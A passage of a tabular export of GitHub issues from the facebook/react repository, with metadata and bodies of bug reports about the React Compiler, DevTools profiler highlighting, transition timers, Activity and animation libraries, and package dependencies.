} | 16 | false | 2026-03-29T04:53:13.027914 | ||
facebook | react | 35,757 | I_kwDOAJy2Ks7pyPOa | false | Bug: ReactProfilerTimer transition timers are global, causing conflicts with concurrent transitions | ## Description
The `ReactProfilerTimer.js` module currently uses a set of global variables (`transitionStartTime`, `transitionUpdateTime`, `transitionUpdateType`, etc.) to track performance metrics for transitions.
This implementation assumes only one transition is being tracked at a time. However, with concurrent rendering, multiple transitions can be in progress simultaneously in different lanes.
There is an explicit TODO in the code acknowledging this issue:
```javascript
// packages/react-reconciler/src/ReactProfilerTimer.js
// TODO: This should really be one per Transition lane.
export let transitionClampTime: number = -0;
export let transitionStartTime: number = -1.1; // First startTransition call before setState.
export let transitionUpdateTime: number = -1.1; // First transition setState scheduled.
```
## Impact
When multiple concurrent transitions occur, the following issues arise:
1. **Data Overwrites:** Concurrent transitions will overwrite each other's timing data in these global variables.
2. **Inaccurate Profiling:** `ReactFiberWorkLoop` will read incorrect start/update times, leading to inaccurate performance profiling data.
3. **Race Conditions:** It may cause race conditions where the wrong transition's data is logged or used for heuristics.
## Proposed Solution
Refactor `ReactProfilerTimer.js` to avoid global state for transition timings.
* **Structure:** Store transition timing data in a structure keyed by the transition lane, such as `Map<Lane, TransitionTimers>`.
* **Implementation:** The `ReactFiberWorkLoop` and other consumers should be updated to pass the relevant `Lane` when recording or reading transition timings, ensuring that data is isolated per transition.
## Affected Files
* `packages/react-reconciler/src/ReactProfilerTimer.js`
* `packages/react-reconciler/src/ReactFiberWorkLoop.js` | open | subhamkumarr | 2026-02-10T15:58:05 | 2026-02-10T15:58:05 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 0 | false | 2026-03-29T04:53:13.070605 | |||
facebook | react | 34,729 | I_kwDOAJy2Ks7Pn4-t | false | Bug: Using the new <Activity> component inside AnimatePresence (Framer Motion) | React version: 19.2.0
## Steps To Reproduce
1. Wrap a component in the new React <Activity> component for conditional visibility:
`<Activity mode="visible">
<Component />
</Activity>
`
2. Try to animate this visibility change using Framer Motion’s <AnimatePresence>:
`<AnimatePresence>
<Activity mode={open ? "visible" : "hidden"}>
<motion.div exit={{ opacity: 0 }}>
<Component />
</motion.div>
</Activity>
</AnimatePresence>
`
Observe that AnimatePresence expects children to be conditionally rendered (e.g., {open && <Component />}) for enter/exit animations to trigger.
## The current behavior
When wrapping motion elements with <Activity>, Framer Motion’s AnimatePresence does not detect mounting/unmounting changes — because <Activity> toggles visibility internally (using display: none and subscription unmounting) instead of actually adding/removing children from the React tree.
As a result, exit animations do not trigger.
## The expected behavior
Ideally, <Activity> would expose some API or compatibility layer to integrate with animation libraries like Framer Motion that depend on conditional rendering for entry/exit transitions — or React could provide guidance on how to handle this scenario correctly. | closed | not_planned | alirezahematidev | 2025-10-04T07:14:31 | 2026-02-10T13:34:16 | 2026-02-10T13:34:16 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {} | 4 | false | 2026-03-29T04:53:13.105732 | ||
facebook | react | 34,048 | I_kwDOAJy2Ks7DNHDq | false | Question about "calling an impure function can produce unstable results..." lint | ### What kind of issue is this?
- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAsghhAQL4EBmMEGBA5DAgIZx5sDcAHQB2IhAA8c+AgBMEDLlAA2hBlGG80EYQXIBPAIJYsACgCUREQQJxtYQva74AKpgQEAvCTKVqJ854AfARYCDAMuBhcGggAdMIQAO7mZkLCtCIgtEA
### Repro steps
Run eslint-plugin-react-hooks with the react-compiler rule enabled
```ts
export default function MyApp() {
const startTime = useMemo(() => performance.now());
}
```
The error says
> Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render
I’m not sure what the right way to record this type of state is now, because react-compiler also rejects anything of the form
```ts
const [startTime, setStartTime] = useState(null);
useEffect(() => { setStartTime(performance.now()); }, []);
```
for “calling setState synchronously within an effect body.”
### How often does this bug happen?
Every time
### What version of React are you using?
react@19.1.1
### What version of React Compiler are you using?
eslint-plugin-react-hooks@0.0.0-experimental-97cdd5d3-20250710 | closed | not_planned | controversial | 2025-07-29T21:07:25 | 2026-02-09T23:14:52 | 2026-02-09T23:14:52 | [
"Component: React Compiler",
"Resolution: Stale"
] | null | 0 | {} | 12 | false | 2026-03-29T04:53:13.167209 | ||
facebook | react | 35,245 | I_kwDOAJy2Ks7bEdMM | false | [DevTools Bug]: Internal state change in cousin component causing a "re-render" in another cousin component wrapped inside parent divs. | ### Website or app
https://github.com/mukesharyal/react-devtools-bug-report
### Repro steps
1. Clone the GitHub repo and run `npm install`
2. Run the local dev server with `npm run dev` and also run React Devtools
3. You will see two components `ComponentA` and `ComponentB`
4. Cause a re-render of `ComponentA` by clicking the button a bunch of times
5. `ComponentB` will also be shown in the component render highlights and `Profiler` sessions
The structure of `App` component looks like this:
```
import ComponentA from './components/ComponentA';
import ComponentB from './components/ComponentB';
function App() {
return(
<div>
<div>
<ComponentA />
</div>
<div>
<ComponentB />
</div>
</div>
);
}
export default App;
```
This is what `ComponentA` looks like:
```
import { useState } from "react";
export default function ComponentA()
{
console.log("Component A rendered!");
const [count, setCount] = useState(0);
return(
<>
<h1>
Component A
</h1>
<h2>
Count is {count}
</h2>
<button onClick={() => { setCount(count => count + 1) }}>
Increase Count
</button>
</>
)
}
```
And here is `ComponentB`:
```
export default function ComponentB()
{
console.log("Component B rendered!");
return(
<>
<h1>
Component B
</h1>
</>
)
}
```
Now, when I re-render `ComponentA` by clicking the button a bunch of times, I see re-render highlights in `ComponentA`. But, the surprising part is that I also see highlights in `ComponentB`.
Here are the highlights:
<img width="597" height="297" alt="Image" src="https://github.com/user-attachments/assets/806fdfe3-7132-481c-a664-31302019ef2f" />
And here is a `Profiler` session I recorded:
<img width="1024" height="406" alt="Image" src="https://github.com/user-attachments/assets/ed397760-ad82-407f-aa25-acf6d9699489" />
It clearly shwos that `ComponentB` also "re-rendered" a bunch of times, and it actually took **more time** to "re-render" `ComponentB` than `ComponentA`.
And here is what the console logs look like:
<img width="1109" height="843" alt="Image" src="https://github.com/user-attachments/assets/d71a14be-6288-4004-9d88-3033d6f021c1" />
And indeed, like we expect, there is only the console log when `ComponentB` rendered the first time and not again. But, the `Profiler` session and the component render highlights say otherwise.
Now, let's change the structure of `App` component just a little bit:
```
import ComponentA from './components/ComponentA';
import ComponentB from './components/ComponentB';
function App() {
return(
<div>
<div>
<ComponentA />
</div>
<ComponentB />
<div>
</div>
</div>
);
}
export default App;
```
And now let's see the component highlights and `Profiler` session.
Here is the highlights now:
<img width="600" height="563" alt="Image" src="https://github.com/user-attachments/assets/33a33dfe-8e73-4c0b-8521-b4ef1e6b2a96" />
And here is what the `Profiler` says:
<img width="1018" height="300" alt="Image" src="https://github.com/user-attachments/assets/51236cf3-f29e-4fd9-bfe7-4b3cb497e288" />
So, now the results are what we expect.
This project was made with `React 19`, but we also see the same things with `React 18` as well. And, the presence or absence of the `React Compiler` makes no difference.
To verify that the effects are not seen with composition, I made a simple `Wrapper` component and had the same `div`s wrap our components as before. Here is the `Wrapper`:
```
export default function Wrapper({ children })
{
return(
<div>
{ children }
</div>
)
}
```
And now, we use the `Wrapper` instead of `div`s in our `App` component like this:
```
import Wrapper from './components/Wrapper';
import ComponentA from './components/ComponentA';
import ComponentB from './components/ComponentB';
function App() {
return(
<Wrapper>
<Wrapper>
<ComponentA />
</Wrapper>
<Wrapper>
<ComponentB />
</Wrapper>
</Wrapper>
);
}
export default App;
```
Thankfully, we do not see the weird behavior in this case. Sigh!
So after all this, we clearly see that the weird stuffs are only seen in a specific case where we are using `div`s before the composition for layout purposes.
But, I do think that this is not at all "expected React behavior". Either this is a bug with the React library itself, or the React Devtools are lying to us.
So, that was the weird thing I saw. I have also written a blog post where I discuss this same thing in more detail. It can be found [here](https://www.mukesharyal.com.np/blog/on-react-reconciliation/).
### How often does this bug happen?
Every time
### DevTools package (automated)
_No response_
### DevTools version (automated)
_No response_
### Error message (automated)
_No response_
### Error call stack (automated)
```text
```
### Error component stack (automated)
```text
```
### GitHub query string (automated)
```text
``` | closed | completed | mukesharyal | 2025-11-28T16:15:34 | 2026-02-09T23:19:54 | 2026-02-09T23:19:54 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | null | 0 | {
"heart": 1,
"rocket": 1
} | 4 | false | 2026-03-29T04:53:13.217354 | ||
facebook | react | 33,423 | I_kwDOAJy2Ks65pZcV | false | Bug: profiler incorrectly reports 'The parent component rendered' | React version: 19.0.0
Devtools version: 6.1.2 (5/7/2025)
Chrome: 136.0.7103.114
Windows 11
## Steps To Reproduce
1. Go to this codesandbox link https://codesandbox.io/p/sandbox/optimistic-ritchie-forked-yhhjl4
2. Specifically open the preview in a new tab at https://yhhjl4.csb.app/ otherwise react devtools won't attach
3. Enable "Highlight updates when components render" in react dev tools
4. Click the numbered button to cause a rerender
<summary>
Full code (click to show)
<details>
```tsx
import { useState, useRef } from "react";
const Count = () => {
const [count, setCount] = useState(0);
return <button onClick={() => setCount((c) => c + 1)}>{count}</button>;
};
export function Greeting() {
const renderCount = useRef(0);
renderCount.current++;
console.log("Greeting rendered");
return <span>Hello World! (rendered {renderCount.current} times)</span>;
}
export default function App() {
return (
<div>
<Count />
<div>
<Greeting />
</div>
</div>
);
}
```
</details>
</summary>
## The current behavior
The Greeting component will flash as being rerendered even though it isn't
If you record via the profiler, the cause is given as "The parent component rendered", but it did not
## The expected behavior
It neither flashes, nor is reported in the profiler flamegraph after being recorded. It didn't rerender.
----
Here's some variants I tested:
✅= Greeting correctly reported as **not** rerendering
❌ = Greeting incorrectly reported as rerendering
```tsx
//✅ Same level
<Count />
<Greeting />
//✅ Greeting above
<div>
<Greeting />
<div><Count /></div>
</div>
// ❌ Greeting below in div
<Count />
<div>
<Greeting />
</div>
// ❌ Greeting below in empty fragment
<Count />
<>
<Greeting />
</>
```
---
This is the same as #19732. Reopening here as per the directions in https://github.com/facebook/react/issues/19732#issuecomment-2061919359
| closed | completed | michaelboyles | 2025-06-03T16:20:59 | 2026-02-09T20:39:35 | 2026-02-09T20:39:35 | [
"Component: Developer Tools"
] | [
"hoxyq"
] | 0 | {
"+1": 2
} | 9 | false | 2026-03-29T04:53:13.254639 | ||
facebook | react | 35,605 | I_kwDOAJy2Ks7lLj2S | false | [Compiler Bug]: (BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch | ### What kind of issue is this?
- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwBUyAjACgEp8wADpt8cVmAKEyuMvgC8+ANoBdEfnxkwATwb5aDZq3wBzBLgAKMCCSaUE-Qeo35cMbU9EuXTEvh4IMNYwAsJe3i64ABbWAO74gcEA3M4R+AC+qRliMnBR-ok4oVka4nSQ9gB0lBAmAUFFWZmizSLOMOawbDxZADwAfCXsCJJ9APSDonwpdM0gADQgZbYmKCBMALbYeK7amAiC+BaUUCZMdADymEbl2STWG-gA5FzcCJQAtJgnZ3QfHWRGB9xFs7IExoQmJInjMRDwwhoxmMQZg7DIWHQALIQYjIfBCEBkSiUAkidL4MDosC2EZHH7nK43MDTBbgKIQWIASTouECdCJYBQ5EoYAQ6SAA
### Repro steps
1. go to the playground
2. use the next code:
```ts
export default function Tab() {
const data = []
async function getProfile() {
try {
if (error) {
throw error;
}
} catch (error) {
console.log(error)
}
}
return (
<>
Test
</>
);
}
```
you will see the error
### How often does this bug happen?
Every time
### What version of React are you using?
latest
### What version of React Compiler are you using?
latest | closed | completed | a0m0rajab | 2026-01-22T22:35:53 | 2026-02-10T21:27:58 | 2026-02-10T16:34:26 | [
"Type: Bug",
"Status: Unconfirmed"
] | null | 0 | {} | 8 | false | 2026-03-29T04:53:13.344718 | ||
facebook | react | 35,657 | I_kwDOAJy2Ks7msXEy | false | Bug: React logComponentRender breaks existing functionalities that utilise proxy (trpc client) | ```
client[procedureType] is not a function
```
<img width="1037" height="469" alt="Image" src="https://github.com/user-attachments/assets/28d92c84-2873-46c8-a3b7-c397455fe9f4" />
React version:
19.2.3
## The current behavior
When trying to read properties of the object to show the diff in log, it breaks it.
## The expected behavior
Should work.
I am not sure if this is to be fixed on React side or TRPC, but it worked in previous versions of React. | open | bimusiek | 2026-01-29T12:23:54 | 2026-02-04T11:19:55 | null | [
"Status: Unconfirmed"
] | null | 0 | {
"heart": 2
} | 3 | false | 2026-03-29T04:53:13.423211 | |||
facebook | react | 35,237 | I_kwDOAJy2Ks7a5n49 | false | [Compiler Bug]: Memoization depends on how the order of the lines of code | ### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgDMoA7OXASwhPyjAQDEIIAKCgE2XzFxgpIDmASnzAAOjXxxqPfACMAhjHwBeWvQBCSlkIDcE-FJkEAbgoA2UBKqKk4LRTD0SDRkrOD52C3AvwBfGzoELQAvFghMShk2diFnSWl3Aj81GAQwKHNcFm9fABp8M0sEBNdXdNxYGgV9En8QfJAkwgoBFBAKAFtsPHxcAE9Ma08ABUsBfgB5KKp3AKIYCC78AHJFOQRzAFpMCf5t9IVybekeinMEGAB6dgoeVbqJFnFJa+uzzAufOYBZCHYCC4YhAFnMIIkgTAPzArQy+HGUEmJBm0Xceka4AAFhAAO4ASRIuCuJAsYBQvCs-iAA
### Repro steps
The output of the linked code skips memoization of `func(bar)` and `result(data, value)`, but if line 3 (`const value = func(bar);`) is moved down below the `useBaz` call, the memoization happens as expected.
I would expect this code to be memoized regardless of the order of the lines.
### How often does this bug happen?
Every time
### What version of React are you using?
19.2.0
### What version of React Compiler are you using?
1.0.0 | open | leoasis | 2025-11-27T17:36:40 | 2026-02-10T22:37:24 | null | [
"Type: Bug",
"Status: Unconfirmed"
] | null | 0 | {
"+1": 1,
"rocket": 1
} | 6 | false | 2026-03-29T04:53:13.606157 | |||
facebook | react | 35,626 | I_kwDOAJy2Ks7l0C4X | false | Bug: ERROR: [facebook] 1831647914181952: Cannot parse data; please report this issue on https://github.com/yt-dlp/yt-dlp/issues?q= , filling out the appropriate issue template. Confirm you are on the latest version using yt-dlp -U | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version:
## Steps To Reproduce
1.
2.
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
## The expected behavior
| closed | not_planned | TREX7976 | 2026-01-26T11:45:47 | 2026-01-26T12:27:20 | 2026-01-26T12:27:20 | [
"Status: Unconfirmed"
] | null | 0 | {} | 1 | false | 2026-03-29T04:52:09.674329 | ||
facebook | react | 35,625 | I_kwDOAJy2Ks7lwEfv | false | Bug: [React Compiler] False positive 'Cannot access refs during render' when accessing props.ref | Description: The React Compiler currently throws a validation error "Cannot access refs during render" when accessing props.ref.current, even in cases where props.ref is simply a prop (e.g. passed from a parent) and not necessarily a React Ref object that is being mutated or unsafe to read. The compiler's aliasing logic appears to treat the entire props object as a ref in this scenario.
React version: 0.0.0-experimental-334f00b-20240725 (React Compiler version)
Steps To Reproduce:
Create a component that accepts a ref prop (or a prop named ref).
Access props.ref.current inside the render body.
Run the React Compiler/Follow the validation rules.
Link to code example:
javascript
// @validateRefAccessDuringRender @compilationMode:"infer"
function Component(props) {
// This triggers a validation error but should be allowed
const value = props.ref.current;
return <div>{value}</div>;
}
The current behavior The compiler throws an error:
Error: Cannot access refs during render
...
> 3 | const value = props.ref.current;
The expected behavior The compiler should compile this component successfully without throwing a validation error, as reading a prop named ref (that was passed down) is a valid pattern and not explicitly an unsafe ref access during render.
| closed | not_planned | SHIVIKA330 | 2026-01-26T05:38:46 | 2026-01-26T17:33:42 | 2026-01-26T17:33:41 | [
"Status: Unconfirmed"
] | null | 0 | {} | 1 | false | 2026-03-29T04:52:09.943837 | ||
facebook | react | 35,622 | I_kwDOAJy2Ks7lrEEj | false | [Compiler Bug]: useRef<HTMLFormElement | null> - Error: This value cannot be modified | ### What kind of issue is this?
- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAYrhgMoIwBudASgmFADaEC+BAZjBAwEAOiAB0AelIIAtLyoyyDOjJisOeUQG5hAOz0IAHjnwE8ATywICAVTKUYGAPJY8aCLrAEAvET0ECNV4AUXYHDGQCFgBDODwxFl4nACMAKwQ4gB4ACQAVAFkAGXDQhAwEXUIAHwJdDnYAPh1dLmaDY1xCXihdOPddEnsqAApgf0CEELCqABo9Lki7CioXNw8wTNyALQgAE2o4AAsy6IaASj8Bgjh1wgBtJUYYFjZOGYIyPFplZ-VOAF0fINlo5vk8XhphmdmgFxjdPIQIE8AO4wNB4EEYABq0XYUFYQOG8kcOLxrAu3galwCATQvAIwwAhEFQuExHBYGpKhc1HhYLoYTT4WBCAhpo4gSzxRh2ZyKng2lcAsSGcLCABrBDmAhoAbE7G4-FgC5jJU0ukMzXa3UEMXhE3jGk0u1UO5W-5ieiG6y+fWko1urX-QVOriOghhq6tPQxq68-nUmmPZh-PBzM2fMEp15p8NIuio9GY-2sdMBaMtEAzEDw3hoADmKHQ2E6Zks1mIAAU8fXdat+l4ePxBAQAOTJaLJMUyLA93WqBCxPAyG7YNDsOgSXZoEWjxWjcYSCSrrDr6JrXT5PYISKiXHsUTzD7nnd1gndqC93T99bQqvgQ4IGRABJSo6F0XEwBQPAYHxLggA
### Repro steps
Look the playground
**NOTE**: even if the error is triggered for line `18` (body of the `overrideFormValues`) , removing line `10` make the compiler happy. It's weird for me.
---
Code
```ts
import { useFormServerResult } from "./use-form-server-result";
export type UseFormOptions = {
refElForm: React.RefObject<HTMLFormElement | null>;
};
export function useForm({
refElForm,
}: UseFormOptions<TZodSchema>) {
const [serverResult, setServerResult] = useFormServerResult();
const overwriteFormValues = (formValues) => {
if (!refElForm.current) return;
const elForm = refElForm.current;
for (const key in formValues) {
if (key in elForm) {
elForm[key].value = formValues[key];
}
}
};
return {
serverResult,
setServerResult,
overwriteFormValues,
};
}
```
Error
```bash
Found 1 error:
Error: This value cannot be modified
Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
16 | for (const key in formValues) {
17 | if (key in elForm) {
> 18 | elForm[key].value = formValues[key];
| ^^^^^^^^^^^ `refElForm` cannot be modified
19 | }
20 | }
21 | };
```
---
### How often does this bug happen?
Every time
### What version of React are you using?
19.2.3
### What version of React Compiler are you using?
? | closed | completed | tresorama | 2026-01-25T13:42:21 | 2026-01-26T16:18:24 | 2026-01-26T05:10:04 | [
"Type: Bug",
"Status: Unconfirmed"
] | null | 0 | {} | 4 | false | 2026-03-29T04:52:09.995003 | ||
facebook | react | 28,956 | I_kwDOAJy2Ks6HXTQL | false | [React 19] react-reconciler README is missing scheduler and form hooks | ## Summary
I've been working on updating the types for react-reconciler, and found methods are still missing from its README after recent updates. These are detailed in https://github.com/pmndrs/react-three-fiber/pull/3242 based on implementation, but they are as follows:
- `NotPendingTransition`, `HostTransitionContext` #26722
- `setCurrentUpdatePriority`, `getCurrentUpdatePriority`, `resolveUpdatePriority` #28751
- `resetFormInstance` #28804
- `requestPostPaintCallback` #25105
- `shouldAttemptEagerTransition` #26025
- `trackSchedulerEvent` #31528
- `resolveEventType`, `resolveEventTimeStamp` #31008
I can open a PR for updating the README specifically, but I haven't looked deeper to see if there was anything else missing in the repo. | open | CodyJasonBennett | 2024-04-30T09:58:51 | 2026-01-26T15:09:17 | null | [
"React 19"
] | null | 0 | {
"+1": 12
} | 16 | false | 2026-03-29T04:52:10.052640 | |||
facebook | react | 29,902 | I_kwDOAJy2Ks6MUgU_ | false | [React 19] Using spread with binary conditional in JSX causes error in dev env for case of using legacy JSX transform | ## Summary
### Prerequisites
- React app which compiles with legacy JSX transform
- Add a JSX element with spread operator with binary conditional, e.g.:
```
<button
{...(isCountButtonActive && {
onClick: () => setCount(currentCount => currentCount + 1)
})}
>
Increment count
</button>
```
- Run app in dev mode
### Result
Error is thrown when conditional is evaluated to `false`:
```
Uncaught TypeError: Cannot use 'in' operator to search for '__self' in false
at exports.createElement (chunk-Y64RAOT6.js?v=f4a3421f:775:86)
at App (App.jsx:3:13)
at callComponentInDEV (react-dom_client.js?v=f4a3421f:785:18)
at renderWithHooks (react-dom_client.js?v=f4a3421f:3510:24)
at updateFunctionComponent (react-dom_client.js?v=f4a3421f:4521:21)
at beginWork (react-dom_client.js?v=f4a3421f:5096:20)
at runWithFiberInDEV (react-dom_client.js?v=f4a3421f:864:18)
at performUnitOfWork (react-dom_client.js?v=f4a3421f:7688:83)
at workLoopSync (react-dom_client.js?v=f4a3421f:7580:43)
at renderRootSync (react-dom_client.js?v=f4a3421f:7561:13)
```
Code fragment where it's thrown:
```
if (null != config) for (propName in didWarnAboutOldJSXRuntime || !("__self" in config) || "key" in config || (didWarnAboutOldJSXRuntime = true, warn("Your app (or one of its dependencies) is using an outdated JSX transform. Update to the modern JSX transform for faster performance: https://react.dev/link/new-jsx-transform")), hasValidRef(config), hasValidKey(config) && (checkKeyStringCoercion(config.key), typeString = "" + config.key), config) hasOwnProperty.call(config, propName) && "key" !== propName && "__self" !== propName && "__source" !== propName && (i[propName] = config[propName]);
```
### Reproduction
https://github.com/undeletable/jsx-spread-with-react-19
Click 'Toggle count button state' to reproduce | open | undeletable | 2024-06-14T22:22:54 | 2026-01-26T12:11:59 | null | [
"React 19"
] | null | 0 | {
"+1": 2
} | 17 | false | 2026-03-29T04:52:10.096164 | |||
facebook | react | 35,633 | I_kwDOAJy2Ks7l6ekr | false | [Compiler Bug]: some spaghetti code gives me Todo: PruneHoistedContexts | ### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHRFMCAEcA2AlggHYAuGA3GiYQLYAOEMZOweMCAhmQgMIRyCAB5kANDjIBPBrgBifCdNk4AStzhkAchAAmCCVgQBlMj1wBfHADMYEOjgycumqjRqEhMay9zGSLgDWAkKibO5kcIK85Mg4YGQwngDm1CRoZBCyJHEARhAQ+NwkaRkEENgAKvQI0GRx6mSwJJUyCAA8yrXW8Qhk1XS1UGQAfGkW7uRtOADy2f5BuVwwciQ4ALw4ABRRQrHxiSkAlBsjOABuEIS6pSS7CTgLcIFLMCG8YZtwzrzvIqztWbzALPV6rHAAHxwJCg+HwODOWxhcKOtxETBYeEEDyeL2Wf1EAAU7OdrggYHEFO12HAABaEfC6Tg5NQabR6SxnTZbGn0xnMnAWE7rM7ACL3VgAbXOXHwUAMvTIADVZfKALobHBGUzmHCA3EE1hQqAkfTWTwIXQI7Yms0W3SoyZlbGsLKkXGvOJzd0gvErNbc3YxeoHJIkZJHOKXa6ncLpChkbDK1UIHkRDLOvbidMJt0sxLysQ5sr4CoIAZDENJit1LZbYWi4sJ8rYD3LeulBMZCwSABsAAZB0ci-Hu474xZbhlrCbNIRBHhS63fa961GrlaxaPE30VXLU1sGJxzg24xmE4QelsAIRHhAns9dhOcJowNZ386d88Tbcl7gwGthkPY8ADoW3LGo6nHc8MhfZo2BwECkI-CQ8ziHx8GwQUvzIIUpwTatIKA+tYy3GCd2TfctltBBzRIS1oITHscAAJiHTsfwiOC322HN2jbN5on+EDiQgUl9BgC4U3WYA8wEiwRibYA6QZJlSE4p92lyYZMnSX8Ey6dYMG0shdIwJsMkEPgiGeGSSJFR9yJLMsBI7CzcI089FP0jJgBlfcAH4wKE8hPITdoAHoTN07zz0igTDREkkyRgWKyHHScaBAMQQF2c1khQEB6AxVgugQwk5WSTw5jIecSDAQUbDsBwAHIllyBB8AAWgYSrPC65xNC6qJGAZckIt0QgEha240zWHAIoikaGAZHg6oAWQ5OIMFlfBzJIKwwDWsBzQQBqKqgKqSBquqwFRbLwFpCAAHcAEkvACTCUAw7ALCAA
### Repro steps
Open playground, see error:
> Todo: [PruneHoistedContexts] Rewrite hoisted function references
Changing `function closeSnackbar` to `const closeSnackbar` fixes it (among lots of other changes)
### How often does this bug happen?
Every time
### What version of React are you using?
19.2.3
### What version of React Compiler are you using?
1.0.0 | closed | completed | MonstraG | 2026-01-26T19:19:55 | 2026-01-26T21:36:31 | 2026-01-26T21:36:30 | [
"Type: Bug",
"Status: Unconfirmed"
] | null | 0 | {} | 2 | false | 2026-03-29T04:52:10.145835 | ||
facebook | react | 35,635 | I_kwDOAJy2Ks7l7Xrp | false | Bug: React DOM canary has an incorrect dependency on Scheduler | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: Canary
## Steps To Reproduce
1. install react-dom canary
2. no such scheduler version
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
You can see it in the package.json, just search for that canary version in the published packages
https://www.npmjs.com/package/react-dom/v/19.3.0-canary-10680271-20260126?activeTab=code
https://www.npmjs.com/package/scheduler?activeTab=versions
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
## The expected behavior
| open | snowystinger | 2026-01-26T20:30:35 | 2026-01-26T21:42:57 | null | [
"Status: Unconfirmed"
] | [
"eps1lon"
] | 0 | {
"eyes": 1
} | 2 | false | 2026-03-29T04:52:10.187281 | |||
facebook | react | 34,045 | I_kwDOAJy2Ks7DM5fA | false | [Compiler Bug]: False positives “calling setState synchronously within an effect body” with stable primitive values | ### What kind of issue is this?
- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANowEZQpwA0+MAlwAlRcoC6+ALz4oGgMq4yuBP3KUNggNzj8JjQFESJBI35CjAHwiLq74APRhRBD4ABYICuoQALaaMUx0AOb4uDFWsWRg2dG5fAhsrNlxkpRMZQT8dBAE6fhmZlqCIa4R+AB0-V3qmjpKnPy4MFAITiEAvmqyejN0s+Igs0A
### Repro steps
Observe react compiler lint error
I think it should be possible to set state in an effect under the condition that:
- The state is being set to a primitive value, so it will not cause cascading renders if it happens multiple times because the state value will be equal.
- The state variable being set _isn’t_ in the dependency array of the effect, so it won’t cause cascading renders.
---
This is a common pattern, even in “synchronization”-style uses of effects (i.e. uses that comply with the standards in “you might not need an effect”). To give a real-world example, consider an effect that sets up an IntersectionObserver, but also wants to set a reasonable “initial” value before the first time the IntersectionObserver fires:
```ts
useEffect(() => {
if (!ref.current) return undefined;
const rect = ref.current.getBoundingClientRect();
const isIntersecting = rect.top < window.innerHeight && rect.bottom > 0;
setVisible(isIntersecting);
const io = new IntersectionObserver(([entry]) => {
if (!entry) return;
setVisible(entry.isIntersecting);
});
io.observe(ref.current);
return () => { io.disconnect(); };
}, []);
```
Here, `setVisible` uses a primitive boolean value, so multiple calls to `setVisible(true)` won’t cause cascading re-renders. Additionally, the effect doesn’t fire in response to changes to `setVisible`. Finally, this effect usage seems squarely within the intended “synchronization with an external system” (IntersectionObserver) usage of an effect.
### How often does this bug happen?
Every time
### What version of React are you using?
react@19.1.1
### What version of React Compiler are you using?
eslint-plugin-react-hooks@0.0.0-experimental-9be531cd-20250729 | open | controversial | 2025-07-29T20:42:31 | 2026-01-26T18:25:56 | null | [
"Type: Feature Request",
"Component: React Compiler"
] | null | 0 | {
"+1": 14,
"eyes": 2,
"heart": 1
} | 19 | false | 2026-03-29T04:52:10.247763 | |||
facebook | react | 34,936 | I_kwDOAJy2Ks7S7O2c | false | Consider Adopting NPM Trusted Publishing | > ## Overview
